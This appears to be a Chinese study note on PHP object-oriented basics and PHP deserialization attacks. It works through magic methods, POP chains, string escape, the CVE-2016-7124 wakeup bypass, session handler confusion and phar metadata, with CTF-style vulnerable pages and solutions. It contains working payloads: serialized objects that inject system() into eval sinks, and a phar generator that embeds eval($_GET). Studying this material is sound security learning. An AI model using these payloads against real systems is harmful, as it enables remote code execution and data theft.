php面像对象基本知识

对象的三个特征:对象的行为、对象的形态、对象的表示

类的定义:类是定义了一件事物的抽象特点,它将数据的形式以及这些数据
上的操作封装在一起。

对象是具有类类型的变量,是对类的实例。

内部构成:成员变量(属性) +成员函数(方法)

成员变量:定义在类内部的变量。该变量的值对外是不可见的但是可以通过成员函数访问在类被实例化为对象后,该变量即可成为对象的属性。

成员函数:定义在类的内部可用于访问对象的数据。

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。

在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。

类于对象

类的结构

类:定义类名、定义成员变量(属性)、定义成员函数(方法)

<?php
class Class_Name{
//成员变量声明
//成员函数声明
}
?>

创建一个类:

<?php
class hero{ //定义类(类名)
var $name; //生命成员变量
var $sex;
function jineng($var1) { //声明成员方法
echo $this->name; //使用预定义$this调用成员变量
echo $var1; // 成员函数传参$var1可以直接调用
}
}
?>

实例化和复制

<?php
highlight_file(__FILE__);
class hero{
var $name;
var $sex;
function jineng($var1) {
echo $this->name."<br />";
echo $var1."<br />";
}
}
$cyj= new hero(); //实例化类hero()为对象cyj
$cyj->name='chengyaojin';//参数赋值
$cyj->sex='man';
$cyj->jineng('zuofan');//嗲用函数
print_r($cyj);//打印对象
?>

类的修饰符介绍

在类中直接声明的变量称为成员属性(也可以成为成员变量)

可以在类中声明多个变量,即“对象”中可以有多个成员属性,每个变量都存储“对象”不同的属性信息。

访问权限修饰符:对属性的定义

常用访问权限修饰符:

​ public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制;

​ protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用;

​ private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。

<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin'; //外部可用
private $sex='man'; //外部不可用
protected $shengao='165';//外部不可用
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$cyj= new hero();
echo $cyj->name."<br />";
echo $cyj->sex."<br />";
echo $cyj->shengao."<br />";
?>
<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin';
private $sex='man';
protected $shengao='165';//子类可用
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{
function test(){
echo $this->name."<br />";
echo $this->sex."<br />";
echo $this->shengao."<br />";
}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

image-20240418233609469

序列化知识

序列化的作用

序列化 (Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程。将对象或者数组转化为可储存/传输的字符串。

演示:

<?php
highlight_file(__FILE__);
class TEST {
public $data;
public $data2 = "dazzhuang";
private $pass;

public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>

image-20240418234413114

image-20240418234703813

数组序列化

<?php
highlight_file(__FILE__);
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>

image-20240421150039939

对象序列化

<?php
highlight_file(__FILE__);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

image-20240421150229394

私有修饰符

<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

私有属性会在当前类加上类名,再加上%00,也就是null

image-20240421150636424

image-20240421150726683

url编码:O%3A4%3A%22test%22%3A1%3A%7Bs%3A9%3A%22%00test%00pub%22%3Bs%3A6%3A%22benben%22%3B%7D

保护修饰符

<?php
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

image-20240421151744954

会多个星号,然后前后都有null,提交的时候要加%00*%00

成员属性调用对象

<?php
highlight_file(__FILE__);
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>

image-20240421151924120

反序列化

1.反序列化之后的内容为一个对象;

2.反席列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控,得到所需要的代码,即生成的对象的属性值。通过更改这个值(字符串),

3.反序列化不触发类的成员方法;需要调用方法后才能触发;

<?php
highlight_file(__FILE__);
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?>

image-20240421152439469

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>
<?php
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
echo serialize(new test());

image-20240421161340530

如果是要执行命令的话,比如ipconfig,可以利用以下代码

<?php
class test
{
public $a = 'system("ipconfig");';

public function displayVar()
{
eval($this->a);
}
}

echo serialize(new test());
?>

image-20240421161552271

魔术方法介绍,构造和析构

魔术方法:一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

反序列化漏洞的成因:

反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,通过调用方法,触发代码执行。

思路

image-20240421162047664

先思考触发时机,再思考功能,再想会不会传参数,然后得出返回值

image-20240421162221153

construct()、destruct 类的构建和析构函数

<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

image-20240421162514691

<?php
highlight_file(__FILE__);
class User {
public function __destruct()#在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法,在反序列化过程中会触发;
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>

image-20240421162659320

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);

?>

构造,让cmd=我们想要的指令就行

O:4:”User”:1:{s:3:”cmd”;s:14:”system(‘dir’);”;}

image-20240421165300585

weakup()、sleep方法

__sleep()

**序列化serialize()**函数会检査类中是否存在一个魔术方法_ seep()。

如果存在,该方法会先被调用,然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL被序列化,并产生一个ENOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

image-20240421170502700

可以发现password没有了,这是因为序列化调用了sleep,只返回了这两个值,我们把sleep注释掉看看结果。

image-20240421182315566

可以啊看到就有password了,且因为是private,前面还加上了类名和null

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>

这里直接构造参数benben=dir即可

__wakeup()

和sleep相反,unserialize() 会检查是否存在一个wakeup()方法。如果存在,则会先调用,wakeup()方法,预先准备对象需要的资源。预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

image-20240421183347881

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

image-20240421183634736

可以看到本来没有赋值的password赋值了a

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

**O:4:”User”:1:{s:8:”username”;s:3:”dir”;}**,这里不用写全,因为最后也是调用wakeup只要用username即可,这句就相当于给username赋值

image-20240421184030452

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

O:4:”xctf”:1:{s:4:”flag”:s:3:”111”;}

__toString()

表达方式错误导致魔术方法触发,即把对象当成字符串 调用

例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>

image-20240421185655678

可以看到,在echo时,调用了toString方法。把类User实体化并赋值给$test,此时$test是个对象调用对象可以使用print_r或者var_dump如果使用echo或者print只能调用字符串的方式去调用对象即把对象当成字符串使用,此时自动触发tostring(),常用于构造POP链

__invoke

这个是格式方法错误导致被调用。

例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;//这里是把他当函数调用了
?>

image-20240421190435573

把类User实体化并赋值给$test为对象正常输出对象里的值benben加()是把test当成函数test()来调用,此时触发invoke()

错误调用属性和方法的魔术方法

__call()

触发时机:调用一个不存在的方法

功能:

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>

image-20240421192042597

9调用的方法callxxx()不存在,触发魔术方法call(),传参$arg1,$arg2(callxxx,a)
$arg1,调用的不存在的方法的名称;

$arg2,调用的不存在的方法的参数;

__callStatic()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>

image-20240421194930475

触发时机:静态调用或调用成员常量时使用的方法不存在
参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数
静态调用::时的方法callxxx()不存在
触发callStatic(),传参$arg1,$arg2(callxxx,a)

__get

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>

image-20240421200603830

__set

和get相对的

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>

image-20240421200840341

既要调用也要赋值

__isset()

触发时机:对不可访问属性使用 isset()或empty() 时,_isset()会被调用。

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>

image-20240421203616902

isset()调用的成员属性var不可访问或不存在,z这里是访问了私有属性的成员

__unset()

触发时机:对不可访问属性使用 unset()时

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>

image-20240421204951446

unset()调用的成员属性var不可访问或不存在
触发unset()返回$arg1,不存在成员属性的名称;

__clone()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>

image-20240421205119991

image-20240421205133831

pop链

前置知识

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>

反推法:

利用点首先是在eval,这个是危险函数,然后eval的参数是test2,然后由action方法调用,往上找,normal类里也有个action,但不是魔术方法,不会自己调用,但可以发现index类里的destruct方法里会调用action,所以我们要给test赋值一个对象,也就是evil,所以构造时需要把test赋值成test,但前面construct也给test赋值了,但反序列化不会调用所以不管他,下面用代码构造payload

<?php
#highlight_file(__FILE__);
error_reporting(0);
class index
{
private $test;
public function __construct()
{
$this->test = new evil();
}
}
class evil
{
var $test2 = "system('dir');";
public function action()
{
eval($this->test2);
}
}
echo serialize(new index());
#echo urlencode(serialize(new index()))
?>

O:5:”index”:1:{s:11:”%00index%00test”;O:4:”evil”:1:{s:5:”test2”;s:14:”system(‘dir’);”;}}

另一种方法,要在$test2是在public的情况下才可以用

<?php
class index {
private $test;
}
class evil {
var $test2;
}
$a = new evil();
$a = new evil();
$a->test2 = "system('ipconfig');";
$b = new index();
$b->test=$a;
echo serialize($b);
?>

魔术方法触发前提:魔术方法所在类(或对象)被调用

image-20240421214613496

__wakeup()

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __toString(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?

目的是显示tosring is here!!,这就需要我们去构造一个把对象当字符串输出的例子,所以我们需要把sec()示例化成对象后当成字符串输出,在echo中的source

构造

<?php
##highlight_file(__FILE__);
error_reporting(0);
class fast
{
public $source;

}
class sec
{
var $benben;

}
$a = new sec();
$b = new fast();
$b->source = $a;
echo serialize($b);
?>

image-20240421215643611

POP链构造和POC编写

反序列化中,我们能控制的数据就是对象中的属性值(成员变量)所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程”即POP( Property Oriented Programming).

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。

POC(全称:Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。PoC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

image-20240422193805684

构造代码,将上面代码复制下来,删去函数

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var="flag.php";//首先给var赋值,因为flag在flag.php里
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
//赋值完后,首先调用appen方法就需要实例化这这个类,所以我们先new一个MOdifier
$a = new Modifier();
//第二步触发get,给$p辅助对象Modifier,所以先new一个Test
$c = new Test();
$c->p = $a;
//第三步触发toString,给str辅助对象Test,所以先new一个Show
$b = new Show();
$b->str=$c;
//最后触发wakeup,给$source赋值对象Show
$b->source = $b;
echo serialize($b);

?>

image-20240422201116529

字符串逃逸

反席列化分隔符

反序列化以**;}**结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

image-20240422203155467

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

image-20240422203552916

image-20240422203729881

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);

var_dump(unserialize($data));

image-20240422204912778

image-20240422205523284

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

image-20240422210042900

<?php

class test
{
var $user = "benben";
var $pass = "escaping";
}

echo serialize(new test());

O:4:”test”:2:{s:4:”user”;s:6:”benben**”;s:4:”pass”;s:8:”escaping”;}**

加粗部分就是要逃逸的代码,$user是可以控制的,加粗部分一共29个字符,然后一个php吐出一个字符

image-20240422210527195

所以我们需要写29个php,所以

$param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'

image-20240422211453318

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

image-20240422211955099

<?php

class test
{
var $user = "flag";
var $pass = "benben";
var $vip = true;
}

echo serialize(new test());
?>
//O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

image-20240422212341637

image-20240422212356828

user=flagflagflagflagflagflagflagflagflagflag

pass=1”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}

image-20240422212509444

__wakeup()绕过 反序列化漏洞:CVE-2016-7124

PHP5<5.6.25

PHP7<7.0.10

漏洞产生原因:如果存在_wakeup方法,调用unserilize()方法前则先调用_wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时,会跳过wakeup()的执行

image-20240422213907834

<?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

image-20240422214302481

image-20240422214345007

image-20240422214428123

<?php

class secret
{
var $file = "flag.php";
}

#echo serialize(new secret());#O:+6:"secret":2:{s:4:"file";s:8:"flag.php";+号绕过过滤,2绕过wakeup
$a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo urlencode($a);

image-20240422214911144

攻防世界Web_php_unserialize

<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

构造

<?php

class Demo
{
private $file = 'fl4g.php';
}

$a = serialize(new Demo());#O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
$a = str_replace('O:4', 'O:+4', $a); //绕过正则表达式过滤
$a = str_replace(':1:', ':2:', $a);
#echo urlencode($a);#O%3A%2B4%3A%22Demo%22%3A2%3A%7Bs%3A10%3A%22%2500Demo%2500file%22%3Bs%3A8%3A%22f14g.php%22%3B%7D
$b = 'O%3A%2B4%3A%22Demo%22%3A2%3A%7Bs%3A10%3A%22%2500Demo%2500file%22%3Bs%3A8%3A%22f14g.php%22%3B%7D';
#$a = 'O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}';
echo base64_encode($a);

# base64_encode()
?>

image-20240422220359368

要注意的是,自己换空值好像不行,得保存后得字符串才行。

引用的利用方式

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)#===表示
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

image-20240422223643678

<?php

class just4fun
{
var $enter;
var $secret;

}

$a = new just4fun();
$a->enter =& $a->secret;#有点类似指向同一地址
echo serialize($a);
#O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

image-20240422223947695

session反序列化

session

当session start()被调用或者php.ini中session.auto start为1时PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)
存取数据的格式有多种,常用的有三种:

处理器 对应得存储格式
php 键名+竖线+经过serialize()函数序列化处理得值
php_serialize(php>=5.5.4) 经过序列化处理得数组
php_binary 键名长度对应得ASCII字符+键名+经过反序列化处理得值

漏洞产生:写入格式和读取格式不一致

<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

image-20240423132729023

image-20240423133002797

image-20240423153656983

image-20240423153729988

<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

image-20240423155140220

构造,关键是一个页面写入,另一个页面会读取

<?php

class D
{
var $a = 'system("dir")';
}

echo serialize(new D());
#O:1:"D":1:{s:1:"a";s:13:"system("dir")";}记得+上|

image-20240423155441641

例题

<?php
highlight_file(__FILE__);
/*hint.php*/#线索
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
/*hint.php*/
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

要用到引用的知识

<?php
class Flag
{
public $name;
public $her;
}

$a = new Flag();
$a->name =& $a->her;
echo serialize($a);
?>
#O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

image-20240423160332991

phpar

image-20240423160538802

image-20240423160548405

image-20240423160756154

image-20240423160805460

image-20240423160937600

image-20240423160957547

<?php
//漏洞页面
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

image-20240423161535651

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

image-20240423162054135

image-20240423162144291

image-20240423162203703

image-20240423162215775

记得把php,ini里的phar_readonly关了

image-20240423162652131image-20240423162829554

image-20240423163005142

image-20240423163017481

mylove

<?php

class a{
//当访问 a 对象中不存在的属性时,该方法会调用 b 对象的 love 方法。
public function __get($a){
$this->b->love();
}
}

class b{
//__destruct 方法在对象销毁时自动调用
public function __destruct(){
$tmp = $this->c->name;
}
//__wakeup 方法在对象被反序列化后自动调用
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
//将解码后的 $woman 内容写入文件,文件名由 $man 决定。
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}

if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}

}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}

php-SER-libs

注意事项

关卡 不适用其他版本的原因以及相关设置
level4 create_fucntion与可变函数调用 5.6不支持可变函数,7.2已废除create_function
level5 序列化格式过滤与CVE-2016-7124 CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
level6 私有属性反序列化 escaped binary string(仅从php6开始支持)
level7 __call与属性的初始值 同上
level10 just_one_soap 需要开启soap扩展(php5.6:extension=php_soap)
level11 a phar 和 level12 a phar trick php.ini中phar.readonly=Off(若有分号则去掉)
level13 引用和session session.auto_start=0; session.serialize_handler = php;(level13均为默认设置)
leve14 session.upload_progress session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = “upload_progress_”; session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”; session.upload_progress.freq = “1%”; session.upload_progress.min_freq = “1”;

level1 类的实例化

<?php
highlight_file(__FILE__);
header('Content-type:text/html;charset=utf-8');
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
#O:1:"a":1:{s:3:"var";N;}

直接构造就行

level2

<?php
highlight_file(__FILE__);
header('Content-type:text/html;charset=utf-8');

include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
<br><a href="../level3">点击进入第三关</a>

关键是要两个成员的值和判断条件一致,而调用construct方法,则需要序列化

<?php
class mylogin{
var $user="daydream";
var $pass="ok";
}
echo serialize(new mylogin());
?>
#O:7:"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}

image-20240423163756568

level3

<?php
highlight_file(__FILE__);
header('Content-type:text/html;charset=utf-8');

include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
<br><a href="../level4">点击进入第四关</a>

分析:这里和上一题差不多,就是要从cookie中读取反序列化的值,搜了下,加上url编码即可,但好像只能本地用,

image-20240423171111860

level4

本关涉及到create_fucntion方法要变换php版本,可以使用–php 7. 0.9

<?php 
highlight_file(__FILE__);
header('Content-type:text/html;charset=utf-8');

class func
{
public $key;
public function __destruct()
{
unserialize($this->key);
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

unserialize($_GET['param']);

?>
<br><a href="../level5">点击进入第五关</a>

这里还用到一个php特性——Array

当array内包裹的第一个值是对象,第二个是对象内的方法时

在反序列化后会调用该对象的方法

image-20240423182048184

所以就可以利用这个特性调用到getflag这个方法,至于如何读取到flag就要用到前面说的create_fucntion,但不懂为什么不会弹回flag,应该是版本问题

level5

<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

<br><a href="../level6">点击进入第六关</a>

wakeup绕过,正则表达式绕过

<?php
class secret{
var $file='flag.php';
}
echo serialize(new secret());
#O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
#绕过正则,在6前面添个+号,绕过wakeup,把1改成2,成员数量不一致即可
#修改后:O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

image-20240423224017009

level6

<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
